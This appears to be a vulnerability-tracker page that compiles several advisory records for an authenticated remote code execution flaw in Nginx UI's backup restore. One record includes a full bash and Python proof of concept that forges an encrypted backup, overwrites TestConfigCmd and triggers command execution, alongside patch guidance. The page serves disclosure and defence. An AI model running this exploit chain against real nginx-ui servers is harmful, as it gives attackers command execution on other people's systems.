Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Nginx UI is a web user interface for the Nginx web server. From 2.3.8 until 2.5.0, an authenticated administrator with an active secure session can submit attacker-controlled portable backup key material and a matching manifest to POST /api/restore. The restore flow trusts the supplied key, decrypts attacker-controlled contents, and replaces the live app.ini, including protected nginx command settings such as TestConfigCmd. Triggering POST /api/nginx/test then executes the restored command in the Nginx UI runtime context, affecting confidentiality, integrity, and availability. This issue is fixed in version 2.5.0.

Source published

9 Oct 2026 15:00:55 UTC

Source modified

14 Oct 2026 01:52:48 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Nginx UI is a web user interface for the Nginx web server. From 2.3.8 until 2.5.0, an authenticated administrator with an active secure session can submit attacker-controlled portable backup key material and a matching manifest to POST /api/restore. The restore flow trusts the supplied key, decrypts attacker-controlled contents, and replaces the live app.ini, including protected nginx command settings such as TestConfigCmd. Triggering POST /api/nginx/test then executes the restored command in the Nginx UI runtime context, affecting confidentiality, integrity, and availability. This issue is fixed in version 2.5.0.

Source published

Oct 9, 2026, 3:00:55 PM (timezone not stated)

Source modified

Oct 14, 2026, 1:52:48 AM (timezone not stated)

Observed here

7 Nov 2026 05:38:25 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Nginx UI is a web user interface for the Nginx web server. From 2.3.8 until 2.5.0, an authenticated administrator with an active secure session can submit attacker-controlled portable backup key material and a matching manifest to POST /api/restore. The restore flow trusts the supplied key, decrypts attacker-controlled contents, and replaces the live app.ini, including protected nginx command settings such as TestConfigCmd. Triggering POST /api/nginx/test then executes the restored command in the Nginx UI runtime context, affecting confidentiality, integrity, and availability. This issue is fixed in version 2.5.0.

Source published

9 Oct 2026 15:17:10 UTC

Source modified

20 Oct 2026 20:44:42 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

## Summary An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`. This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`. ## Impact An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands. ## Affected Version / Environment - Version: `nginx-ui 2.3.11 2(523) 6c86e5a5` - Deployment: local Docker, `uozi/nginx-ui:latest` - Base URL used in validation: `http://127.0.0.1:8080` ## Root Cause `/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path. Relevant code paths: - `api/backup/router.go`: `POST /api/restore` - `api/backup/restore.go`: accepts `security_token` and uploaded backup file - `internal/backup/manifest.go`: derives backup signing key from supplied AES key - `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini` - `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths ## Proof of Concept Assumptions: - nginx-ui is already running. - `$TOKEN` is a valid user JWT. - `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks. ```bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui' ``` Run only against a disposable local instance. ```bash set -eu TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original" curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup" SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEY_B64=${SEC%%:*} IV_B64=${SEC#*:} KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256) IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256) mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner" python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.read_text().splitlines() out = [] in_nginx = False seen_nginx = False written = False for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if in_nginx and not written: out.append(cmd) written = True in_nginx = s.lower() == "[nginx]" seen_nginx = seen_nginx or in_nginx if in_nginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line) if in_nginx and not written: out.append(cmd) elif not seen_nginx: out.extend(["", "[nginx]", cmd]) p.write_text("\n".join(out) + "\n") PY (cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip" OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEY_B64"]) manifest = json.loads((outer / "manifest.json").read_text()) for entry in manifest["files"]: data = (outer / entry["name"]).read_bytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data) manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").write_bytes(manifest_bytes) signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()) PY (cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json) curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restore_nginx=false" \ -F "restore_nginx_ui=true" \ -F "verify_hash=true" \ -F "security_token=$SEC" \ -F "backup_file=@$TMP/malicious-restore.zip" sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN" docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce' # Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER" ``` Expected output: ```text {"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true} {"message":"","level":-1,"test_scope":"global"} restored-rce ``` ## Cleanup The PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui before continuing other tests. ## Patch Guidance Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.

Source published

9 Oct 2026 20:45:02 UTC

Source modified

19 Oct 2026 21:41:10 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Publisher rating · CRITICAL

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite in github.com/0xJacky/Nginx-UI

Source published

19 Oct 2026 21:08:26 UTC

Source modified

19 Oct 2026 21:31:53 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.